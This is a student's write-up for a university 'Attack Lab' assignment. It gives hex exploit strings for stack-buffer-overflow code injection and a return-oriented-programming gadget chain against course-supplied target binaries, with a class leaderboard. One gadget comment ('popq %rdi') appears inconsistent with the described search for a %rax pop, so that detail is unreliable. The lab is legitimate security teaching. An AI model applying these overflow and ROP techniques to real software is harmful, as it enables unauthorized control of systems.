University of Colorado - Boulder

CSPB 2400
Computer Systems | Summer 2024

Lab 3: Attack Lab

Sam Walker

Hoang Truong

Monday, July 9, 2024

College of Engineering & Applied Science
UNIVERSITY OF COLORADO **BOULDER**

Part 1

Execution Check (40 points)

GitHub Repo Link: Repo Link [https://github.com/cu-cspb-2400-summer-2024/lab2-bomblab-sawa9885]

Target number and a screenshot of leaderboard:

#	Target	Date	Score	Phase 1	Phase 2	Phase 3	Phase 4	Phase 5
1	11	Mon Jul 8 04:16:38 2024	100	10	25	25	35	5
2	28	Mon Jul 8 12:55:09 2024	100	10	25	25	35	5
3	7	Tue Jul 2 15:33:52 2024	95	10	25	25	35	0
4	4	Fri Jul 5 16:13:58 2024	95	10	25	25	35	0
5	18	Sun Jul 7 07:09:43 2024	95	10	25	25	35	0
6	17	Sun Jul 7 13:28:44 2024	95	10	25	25	35	0
7	3	Sun Jul 7 13:35:40 2024	95	10	25	25	35	0
8	9	Sun Jul 7 17:24:37 2024	95	10	25	25	35	0
9	32	Sun Jul 7 18:57:15 2024	95	10	25	25	35	0
10	35	Sun Jul 7 19:37:43 2024	95	10	25	25	35	0
11	14	Sun Jul 7 20:35:39 2024	95	10	25	25	35	0
12	34	Sun Jul 7 20:56:34 2024	95	10	25	25	35	0
13	15	Sun Jul 7 22:15:45 2024	95	10	25	25	35	0
14	13	Sun Jul 7 23:06:28 2024	95	10	25	25	35	0
15	36	Mon Jul 8 13:56:23 2024	95	10	25	25	35	0
16	8	Mon Jul 8 14:07:53 2024	95	10	25	25	35	0
17	12	Mon Jul 8 15:35:11 2024	95	10	25	25	35	0
18	5	Mon Jul 8 19:14:47 2024	95	10	25	25	35	0
19	37	Mon Jul 8 19:20:30 2024	95	10	25	25	35	0
20	38	Mon Jul 8 17:36:03 2024	70	10	25	0	35	0
21	39	Mon Jul 8 14:51:30 2024	60	10	25	25	0	0
22	61	Mon Jul 8 17:02:41 2024	60	10	25	25	0	0
23	2	Mon Jul 8 19:08:16 2024	35	10	25	0	0	0
24	25	Sun Jul 7 22:49:32 2024	10	10	0	0	0	0
25	20	Mon Jul 8 16:45:39 2024	10	10	0	0	0	0

Fig. 1 Target 5

Part 2-i - Phase 2

Identifying Buffer Sizes

After disassembling `ctarget` between Phase 2 and Phase 3, we observed the line of assembly code in the `get_buf` function:

```
sub    $0x38, %rsp
```

This line indicates that the buffer size is `0x38` or 56 bytes. The disassembly process was straightforward; I used `objdump` to inspect the assembly and locate the `getbuf` function.

Generating Assembly Instructions

The assembly instructions generated for Phase 2 are as follows:

```
movq $0x11560ebd, %rdi
ret
```

The purpose of these instructions is to move the cookie value into the `rdi` register. By using `objdump`, we could determine the corresponding assembly instructions for these commands. This step is essential because the cookie value needs to be passed as a parameter to the `touch2` function.

Testing and Verification

To test the exploit string, I used `gdb` to step through the program, ensuring it did not encounter segmentation faults and that it executed the expected instructions. Once I confirmed the correct flow of execution, I was able to insert the cookie into the appropriate register.

Confirmation

The correctness of the instruction exploit was verified when the program responded with "`nice job`" upon running `hex2raw` with the command:

```
./hex2raw < ctarget.l2.txt | ./ctarget
```

```
1 48 c7 c7 bd 0e 56 11 c3 /* Mov cookie to rdi and ret */
2 00 00 00 00 00 00 00 00 /* 56 bytes to fill the buffer */
3 00 00 00 00 00 00 00 00
4 00 00 00 00 00 00 00 00
5 00 00 00 00 00 00 00 00
6 00 00 00 00 00 00 00 00
7 00 00 00 00 00 00 00 00
8 e0 e5 61 55 00 00 00 00 /* address of injected code (0x5561e5e0) */
9 eb 25 40 00 00 00 00 00 /* Address of touch2 function */
```

Fig. 2 ctarget.l2.txt

Part 2-ii - Phase 3

Objective of Phase 3

The main objective of Phase 3 was similar to Phase 2: we needed to use the `touch3` function, which takes a string as its parameter instead of an unsigned value. We had to ensure that the cookie value was correctly passed in as the string parameter to `touch3`.

Challenges and Considerations

The primary challenge in this phase was the need to use the `lea` instruction with a memory address rather than directly hardcoding the `mov` instruction. Determining the correct offset for `lea` (`%rip + 1`) was a significant challenge. By examining the `rsp` register, I could see where the memory address was placed and adjust the cookie string placement accordingly. Another common struggle in both Phase 2 and Phase 3 was dealing with little-endian notation for addresses. I often found myself forgetting to use little-endian notation, resulting in errors that I had to fix by swapping the order of the hex values.

Generating the Exploit String

I generated the exploit string using similar methods to Phase 2, with the modification of using the `lea` instruction and memory location techniques. The exact assembly instructions I used were:

```
lea 0x1(%rip), %rdi
ret
```

Additionally, I converted the cookie to a string using the website provided in Piazza.

Testing the Exploit

The methods and tools used to test the exploit string were the same as those in Phase 2. I used `gdb` to step through the program, ensuring it executed the expected instructions without encountering segmentation faults.

Confirmation

The correctness of the exploit was confirmed through successful execution and the program responding with the expected output.

```
48 8d 3d 01 00 00 00 c3 /* lea 0x1(%rip), %rdi and ret */
31 31 35 36 30 65 62 64 /* cookie string */
00 00 00 00 00 00 00 00 /* padding (56 bytes total to fill buffer) */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
e0 e5 61 55 00 00 00 00 /* address of injected code (0x5561e5e0) */
00 27 40 00 00 00 00 00 /* Address of touch3 function */
```

Fig. 3 ctarget.l3.txt

Part 2-iii - Phase 4

Objective of Phase 4

For Phase 4, the objective was to repeat the attack of Phase 2, but this time on the `RTARGET` program using gadgets from the gadget farm. The solution could be constructed using gadgets consisting of the following instruction types, and using only the first eight x86-64 registers (%rax–%rdi):

- `movq`: The codes for these are shown in Figure 3A.
- `popq`: The codes for these are shown in Figure 3B.
- `ret`: This instruction is encoded by the single byte `0xc3`.
- `nop`: This instruction (pronounced "no op," which is short for "no operation") is encoded by the single byte `0x90`. Its only effect is to cause the program counter to be incremented by 1.

Challenges and Considerations

The primary challenge encountered in Phase 4 was understanding how to use Return Oriented Programming (ROP) attacks. While I knew how to inject the address of the gadgets, it took time to properly understand how to use `pop` or `mov` values using those gadgets. The table with the instructions was very helpful for identifying where `pop` and `mov` instructions were within the gadgets. A crucial realization was that the instructions needed to end with `c3` to return, or at least `90 90 c3` (since the `nop` instructions are ignored). Once I understood this, I was able to navigate through the functions and find suitable gadgets, correctly offsetting the addresses to perform the desired instructions.

Finding Gadget Addresses

To find the gadget addresses needed for Phase 4, I highlighted all of the gadgets between the start and end of the gadget farm. By parsing through the tags, I identified gadgets with `58` (indicating a `pop`) and checked for a return without intervening instructions. Similarly, I searched for `48 89 c7`, as indicated by the extensive table of assembly instructions.

Generating the Exploit String

The exploit string for Phase 4 was generated using similar methods to those in Phase 2, with the addition of using ROP gadgets. By leveraging the gadget farm and using the `lea` instruction, I was able to construct a functional exploit string. The detailed steps for generating the exploit string included:

- Finding suitable `pop` and `mov` gadgets.
- Ensuring the gadgets ended with the appropriate `ret` instruction.
- Correctly offsetting addresses to achieve the desired instruction sequence.

Testing the Exploit

The methods and tools used to test the exploit string were similar to those in previous phases, with the main difference being the use of `RTARGET` instead of `CTARGET`. Testing involved stepping through the program with `gdb` to ensure correct execution and absence of segmentation faults.

```
00 00 00 00 00 00 00 00 /* 56 bytes of padding to fill the buffer */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ce 27 40 00 00 00 00 00 /* Address of 'popq %rdi' gadget */
bd 0e 56 11 00 00 00 00 /* Cookie value (0x11560ebd) */
b7 27 40 00 00 00 00 00 /* Address of 'mov %rax, %rdi' gadget */
eb 25 40 00 00 00 00 00 /* Address of touch2 function */
```

Fig. 4 rtarget.l2.txt